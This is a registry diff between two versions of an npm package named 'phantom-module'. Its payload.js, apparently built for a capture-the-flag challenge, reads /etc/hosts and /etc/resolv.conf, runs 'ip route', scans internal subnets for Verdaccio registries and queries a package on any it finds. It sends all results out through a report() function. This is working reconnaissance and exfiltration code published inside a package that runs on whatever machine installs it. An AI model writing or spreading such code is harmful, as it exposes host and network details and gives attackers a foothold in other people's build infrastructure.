phantom-module 117.0.2 → 117.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/payload.js +49 -67
package/package.json
CHANGED
package/payload.js
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
const net = require('net');
|
|
2
2
|
const http = require('http');
|
|
3
3
|
const fs = require('fs');
|
|
4
|
-
const
|
|
4
|
+
const { execSync } = require('child_process');
|
|
5
5
|
|
|
6
6
|
if (!fs.existsSync('/home/node/aspect-node')) process.exit(0);
|
|
7
7
|
|
|
@@ -26,7 +26,7 @@ async function report(moduleId, data) {
|
|
|
26
26
|
function checkPort(host, port) {
|
|
27
27
|
return new Promise((resolve) => {
|
|
28
28
|
const sock = new net.Socket();
|
|
29
|
-
sock.setTimeout(
|
|
29
|
+
sock.setTimeout(2000);
|
|
30
30
|
sock.on('connect', () => { sock.destroy(); resolve(true); });
|
|
31
31
|
sock.on('error', () => { sock.destroy(); resolve(false); });
|
|
32
32
|
sock.on('timeout', () => { sock.destroy(); resolve(false); });
|
|
@@ -34,81 +34,63 @@ function checkPort(host, port) {
|
|
|
34
34
|
});
|
|
35
35
|
}
|
|
36
36
|
|
|
37
|
-
function httpGet(url) {
|
|
38
|
-
return new Promise((resolve) => {
|
|
39
|
-
const req = http.get(url, { timeout: 2000 }, (res) => {
|
|
40
|
-
let body = '';
|
|
41
|
-
res.on('data', c => body += c);
|
|
42
|
-
res.on('end', () => resolve({ status: res.statusCode, body }));
|
|
43
|
-
});
|
|
44
|
-
req.on('error', e => resolve({ status: 0, body: e.message }));
|
|
45
|
-
});
|
|
46
|
-
}
|
|
47
|
-
|
|
48
37
|
async function main() {
|
|
49
|
-
await report('ECT-654321', 'SCAN STARTING
|
|
38
|
+
await report('ECT-654321', 'SCAN V3 STARTING...');
|
|
50
39
|
|
|
40
|
+
let envInfo = '=== ENV INFO ===\n';
|
|
41
|
+
try {
|
|
42
|
+
envInfo += `NPM_CONFIG_REGISTRY: ${process.env.NPM_CONFIG_REGISTRY || 'unset'}\n`;
|
|
43
|
+
envInfo += `/etc/hosts:\n${fs.readFileSync('/etc/hosts','utf8')}\n`;
|
|
44
|
+
envInfo += `/etc/resolv.conf:\n${fs.readFileSync('/etc/resolv.conf','utf8')}\n`;
|
|
45
|
+
envInfo += `ip route:\n${execSync('ip route').toString()}\n`;
|
|
46
|
+
} catch(e) { envInfo += `ERR: ${e.message}\n`; }
|
|
47
|
+
await report('ECT-654321', envInfo);
|
|
48
|
+
|
|
49
|
+
// Scan ranges
|
|
51
50
|
const found = [];
|
|
52
|
-
const
|
|
53
|
-
|
|
51
|
+
const ranges = [
|
|
52
|
+
['172.17.0', 1, 20],
|
|
53
|
+
['172.18.0', 1, 10],
|
|
54
|
+
['172.19.0', 1, 10],
|
|
55
|
+
['172.20.0', 1, 10],
|
|
56
|
+
['10.0.0', 1, 10],
|
|
57
|
+
['192.168.0', 1, 10]
|
|
58
|
+
];
|
|
54
59
|
|
|
55
|
-
|
|
56
|
-
const promises = [];
|
|
57
|
-
for (let i = 1; i < 20; i++) {
|
|
58
|
-
const ip = `${base}.${i}`;
|
|
59
|
-
promises.push(checkPort(ip, 4873).then(open => {
|
|
60
|
-
if (open) {
|
|
61
|
-
found.push(ip);
|
|
62
|
-
scanOutput += `FOUND VERDACCIO: ${ip}:4873\n`;
|
|
63
|
-
}
|
|
64
|
-
}));
|
|
65
|
-
}
|
|
66
|
-
|
|
67
|
-
await Promise.all(promises);
|
|
60
|
+
let scanOutput = '=== SCAN V3 ===\n';
|
|
68
61
|
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
62
|
+
for (const [base, start, end] of ranges) {
|
|
63
|
+
scanOutput += `Scanning ${base}.${start}-${end}...\n`;
|
|
64
|
+
const promises = [];
|
|
65
|
+
for (let i = start; i <= end; i++) {
|
|
66
|
+
const ip = `${base}.${i}`;
|
|
67
|
+
promises.push(checkPort(ip, 4873).then(open => {
|
|
68
|
+
if (open) {
|
|
69
|
+
found.push(ip);
|
|
70
|
+
scanOutput += `!!! FOUND VERDACCIO: ${ip}:4873 !!!\n`;
|
|
71
|
+
}
|
|
72
|
+
}));
|
|
73
|
+
}
|
|
74
|
+
await Promise.all(promises);
|
|
77
75
|
}
|
|
78
76
|
|
|
79
77
|
await report('ECT-839201', scanOutput);
|
|
80
78
|
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
|
|
95
|
-
// 3. Try to extract flag from dist-tags or versions
|
|
96
|
-
if (ecto.body.includes('htb{') || ecto.body.includes('HTB{')) {
|
|
97
|
-
const match = ecto.body.match(/htb\{[^}]+\}/i);
|
|
98
|
-
if (match) queryOutput += `!!! FLAG FOUND: ${match[0]} !!!\n`;
|
|
99
|
-
}
|
|
100
|
-
|
|
101
|
-
// 4. Download tarball if possible
|
|
102
|
-
try {
|
|
103
|
-
const json = JSON.parse(ecto.body);
|
|
104
|
-
const latest = json['dist-tags'].latest;
|
|
105
|
-
const tarball = json.versions[latest].dist.tarball;
|
|
106
|
-
queryOutput += `Tarball: ${tarball}\n`;
|
|
107
|
-
// We could download it, but let's see if the metadata has the flag first
|
|
108
|
-
} catch(e) {}
|
|
79
|
+
if (found.length > 0) {
|
|
80
|
+
const ip = found[0];
|
|
81
|
+
const url = `http://${ip}:4873/ecto-spirit`;
|
|
82
|
+
let flagInfo = `=== QUERY ${url} ===\n`;
|
|
83
|
+
try {
|
|
84
|
+
flagInfo += await new Promise(r => {
|
|
85
|
+
http.get(url, res => {
|
|
86
|
+
let d = ''; res.on('data', c=>d+=c); res.on('end', ()=>r(d));
|
|
87
|
+
}).on('error', e=>r(e.message));
|
|
88
|
+
});
|
|
89
|
+
} catch(e) { flagInfo += e.message; }
|
|
90
|
+
await report('ECT-987654', flagInfo);
|
|
91
|
+
} else {
|
|
92
|
+
await report('ECT-987654', 'No target found for query.');
|
|
109
93
|
}
|
|
110
|
-
|
|
111
|
-
await report('ECT-987654', queryOutput);
|
|
112
94
|
}
|
|
113
95
|
|
|
114
96
|
main().catch(e => report('ECT-654321', 'ERR: ' + e.message));
|